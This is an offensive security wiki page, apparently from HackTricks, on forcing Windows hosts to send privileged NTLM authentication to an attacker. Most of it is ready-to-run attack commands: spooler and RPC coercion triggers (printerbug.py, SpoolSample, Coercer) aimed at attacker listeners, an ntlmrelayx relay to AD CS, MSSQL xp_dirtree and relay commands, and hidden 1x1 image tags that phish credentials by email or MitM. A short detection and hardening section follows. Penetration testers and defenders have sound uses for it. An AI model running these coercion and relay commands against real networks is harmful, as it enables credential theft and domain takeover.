DΛΣMӨП

// HackTricks · Windows

Force NTLM Privileged Authentication

Force NTLM Privileged Authentication

SharpSystemTriggers

SharpSystemTriggers is a collection of remote authentication triggers coded in C# using MIDL compiler for avoiding 3rd party dependencies.

Spooler Service Abuse

If the Print Spooler service is enabled, you can use some already known AD credentials to request to the Domain Controller’s print server an update on new print jobs and just tell it to send the notification to some system.
Note when printer send the notification to an arbitrary systems, it needs to authenticate against that system. Therefore, an attacker can make the Print Spooler service authenticate against an arbitrary system, and the service will use the computer account in this authentication.

Under the hood, the classic PrinterBug primitive abuses RpcRemoteFindFirstPrinterChangeNotificationEx over \\PIPE\\spoolss. The attacker first opens a printer/server handle and then supplies a fake client name in pszLocalMachine, so the target spooler creates a notification channel back to the attacker-controlled host. This is why the effect is outbound authentication coercion rather than direct code execution.[2]
If you are looking for RCE/LPE in the spooler itself, check PrintNightmare. This page is focused on coercion and relay.

Finding Windows Servers on the domain

Use PowerShell to list Windows hosts. Servers are usually the highest-priority targets, so focus on them first:

Get-ADComputer -Filter {(OperatingSystem -like "*Windows Server*") -and (Enabled -eq $true)} -Properties DNSHostName |
  Select-Object -ExpandProperty DNSHostName > servers.txt

Finding Spooler services listening

Using a slightly modified @mysmartlogin’s (Vincent Le Toux’s) SpoolerScanner, see if the Spooler Service is listening:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

You can also use rpcdump.py on Linux and look for the MS-RPRN protocol:

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Or quickly test hosts from Linux with NetExec/CrackMapExec:

nxc smb targets.txt -u user -p password -M spooler

If you want to enumerate coercion surfaces instead of just checking whether the spooler endpoint exists, use Coercer scan mode:[5]

coercer scan -u user -p password -d domain -t TARGET --filter-protocol-name MS-RPRN
coercer scan -u user -p password -d domain -t TARGET --filter-pipe-name spoolss

This is useful because seeing the endpoint in EPM only tells you that the print RPC interface is registered. It does not guarantee that every coercion method is reachable with your current privileges or that the host will emit a usable authentication flow.

Ask the service to authenticate against an arbitrary host

You can compile SpoolSample from the original repository.

SpoolSample.exe <TARGET> <RESPONDERIP>

or use 3xocyte’s dementor.py or printerbug.py if you’re on Linux

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

With Coercer, you can target the spooler interfaces directly and avoid guessing which RPC method is exposed:[5]

coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-protocol-name MS-RPRN
coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-method-name RpcRemoteFindFirstPrinterChangeNotificationEx

Modern RPC-over-TCP callbacks

Do not assume that a successful RpcRemoteFindFirstPrinterChangeNotificationEx call must produce traffic on TCP/445. Windows 11 22H2 and later use RPC over TCP for print communications by default; RPC over named pipes is disabled unless policy or RpcUseNamedPipeProtocol=1 restores it. Therefore, legacy SMB-only listeners can report that the trigger was sent while never receiving the callback. Microsoft documents TCP/135 (Endpoint Mapper) plus dynamic RPC ports for normal print RPC, and organizations can restrict this range or select a fixed print RPC port.[10]

Current Impacket ntlmrelayx.py includes an RPC relay server and a small Endpoint Mapper, enabled by default on TCP/135. This support was merged in June 2025 specifically with a demonstrated PrinterBug-to-AD-CS chain, allowing the authenticated RPC callback to be relayed even when the victim does not fall back to SMB/WebDAV.[11]

RPC relay/EPM support ships in Impacket 0.13.0 and later. Before debugging a missing TCP/135 listener, verify that an older packaged ntlmrelayx.py is not being executed; the help output should expose both RPC-server switches.[12]

python3 -m pip show impacket | grep '^Version:'
ntlmrelayx.py -h | grep -E -- '--rpc-port|--no-rpc-server'
# Recent Impacket: the RPC/EPM listener starts automatically on TCP/135
# Use --template DomainController instead when coercing a DC
sudo ntlmrelayx.py -t 'http://ca.corp.local/certsrv/certfnsh.asp' \
  --adcs --template Machine -smb2support

# Trigger after the listener is ready; use a name/address reachable by the victim
printerbug.py 'corp.local/user:password'@TARGET ATTACKER_FQDN

Look for Setting up RPC Server on port 135 and RPCD: Received connection in the relay output. If the RPC call returns an expected error but nothing reaches the listener, check the victim’s print RPC transport policy, outbound filtering, DNS resolution and whether another process already owns TCP/135. Also ensure that ntlmrelayx was not started with --no-rpc-server.

Forcing HTTP instead of SMB with WebClient

On systems still using RPC over named pipes (legacy builds or policy-restored behavior), classic PrinterBug usually yields an SMB authentication to \\attacker\share, which is still useful for capture, relay to HTTP targets or relay where SMB signing is absent.
However, relaying SMB to SMB is frequently blocked by SMB signing, so operators may prefer to force HTTP/WebDAV authentication instead. This is not a fallback for the RPC-over-TCP behavior described above.

If the target has the WebClient service running, the listener can be specified in a form that makes Windows use WebDAV over HTTP:

printerbug.py 'domain/username:password'@TARGET 'ATTACKER@80/share'
coercer coerce -u user -p password -d domain -t TARGET -l ATTACKER --http-port 80 --filter-protocol-name MS-RPRN

This is especially useful when chaining with ntlmrelayx --adcs or other HTTP relay targets because it avoids relying on SMB relayability on the coerced connection. The important caveat is that WebClient must be running on the victim for the HTTP/WebDAV variant to work.

Combining with Unconstrained Delegation

If an attacker has compromised a computer configured for Unconstrained Delegation, they can coerce the printer to authenticate to that computer. The printer computer account’s TGT is then cached in memory on the unconstrained-delegation host, where the attacker can retrieve and reuse it with Pass the Ticket.

Detection and hardening notes

The most reliable way to remove PrinterBug from a DC, PAW or server that does not print is to stop and disable the Spooler. Where printing is required, harden every possible relay destination (SMB server signing, LDAP signing/channel binding and EPA on HTTP services such as AD CS) rather than assuming that blocking TCP/445 on the callback path is sufficient.[1]

Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled

If the host still needs local printing, a narrower control is the GPO Computer Configuration → Administrative Templates → Printers → Allow Print Spooler to accept client connections = Disabled. This prevents the spooler from accepting remote client connections (and printer sharing) while leaving the service available locally; restart the spooler after applying it, then repeat the MS-RPRN reachability checks above.[13]

Detection should correlate an authenticated call to MS-RPRN UUID 12345678-1234-abcd-ef00-0123456789ab, especially opnum 62/65 with a non-local callback value, and an immediate outbound SMB, HTTP or RPC connection from the spooler host. Baseline interface UUID/opnum and source/destination pairs, not only access to \PIPE\spoolss, because current print stacks can place the callback on RPC-over-TCP.[1][10][11]

RPC Force authentication

Coercer[5]

RPC UNC-path coercion matrix (interfaces/opnums that trigger outbound auth)

  • MS-RPRN (Print System Remote Protocol)
    • Pipe: \PIPE\spoolss
    • IF UUID: 12345678-1234-abcd-ef00-0123456789ab
    • Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx
    • Tools: PrinterBug / SpoolSample / Coercer[1][6]
  • MS-PAR (Print System Asynchronous Remote)
    • Pipe: \PIPE\spoolss
    • IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
    • Notes: asynchronous print interface on the same spooler pipe; use Coercer to enumerate reachable methods on a given host[1][6]
  • MS-EFSR (Encrypting File System Remote Protocol)
    • Pipes: \PIPE\efsrpc (also via \PIPE\lsarpc, \PIPE\samr, \PIPE\lsass, \PIPE\netlogon)
    • IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d
    • Opnums commonly abused: 0, 4, 5, 6, 7, 12, 13, 15, 16
    • Tool: PetitPotam[1][6][7]
  • MS-DFSNM (DFS Namespace Management)
    • Pipe: \PIPE\netdfs
    • IF UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673
    • Opnums: 12 NetrDfsAddStdRoot; 13 NetrDfsRemoveStdRoot
    • Tool: DFSCoerce[1][6][8]
  • MS-FSRVP (File Server Remote VSS)
    • Pipe: \PIPE\FssagentRpc
    • IF UUID: a8e0653c-2744-4389-a61d-7373df8b2292
    • Opnums: 8 IsPathSupported; 9 IsPathShadowCopied
    • Tool: ShadowCoerce[1][6][9]
  • MS-EVEN (EventLog Remoting)
    • Pipe: \PIPE\even
    • IF UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea
    • Opnum: 9 ElfrOpenBELW
    • Tool: CheeseOunce[1]

Note: These methods accept parameters that can carry a UNC path (e.g., \\attacker\share). When processed, Windows will authenticate (machine/user context) to that UNC, enabling NetNTLM capture or relay.
For spooler abuse, MS-RPRN opnum 65 remains the most common and best-documented primitive because the protocol specification explicitly states that the server creates a notification channel back to the client specified by pszLocalMachine.[2]

MS-EVEN: ElfrOpenBELW (opnum 9) coercion

  • Interface: MS-EVEN over \PIPE\even (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)[3]
  • Call signature: ElfrOpenBELW(UNCServerName, BackupFileName=“\\attacker\share\backup.evt”, MajorVersion=1, MinorVersion=1, LogHandle)[4]
  • Effect: the target attempts to open the supplied backup log path and authenticates to the attacker-controlled UNC.[1]
  • Practical use: coerce Tier 0 assets (DC/RODC/Citrix/etc.) to emit NetNTLM, then relay to AD CS endpoints (ESC8/ESC11 scenarios) or other privileged services.[1]

PrivExchange

The PrivExchange attack is a result of a flaw found in the Exchange Server PushSubscription feature. This feature allows the Exchange server to be forced by any domain user with a mailbox to authenticate to any client-provided host over HTTP.

By default, the Exchange service runs as SYSTEM and is given excessive privileges (specifically, it has WriteDacl privileges on the domain pre-2019 Cumulative Update). This flaw can be exploited to enable the relaying of information to LDAP and subsequently extract the domain NTDS database. In cases where relaying to LDAP is not possible, this flaw can still be used to relay and authenticate to other hosts within the domain. The successful exploitation of this attack grants immediate access to the Domain Admin with any authenticated domain user account.

Inside Windows

If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Or use this other technique: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

It’s possible to use certutil.exe lolbin (Microsoft-signed binary) to coerce NTLM authentication:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Via email

If you know the email address of the user that logs inside a machine you want to compromise, you could just send him an email with a 1x1 image such as

<img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/%5C%5C10.10.17.231%5Ctest.ico" height="1" width="1" />

When the victim opens it, Windows attempts to authenticate.

MitM

If you can perform a MitM attack and inject HTML into a page viewed by the victim, try injecting an image such as:

<img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/%5C%5C10.10.17.231%5Ctest.ico" height="1" width="1" />

Other ways to force and phish NTLM authentication

Places To Steal Ntlm Creds

Cracking NTLMv1

If you can capture NTLMv1 challenges read here how to crack them.
Remember that in order to crack NTLMv1 you need to set Responder challenge to “1122334455667788”

References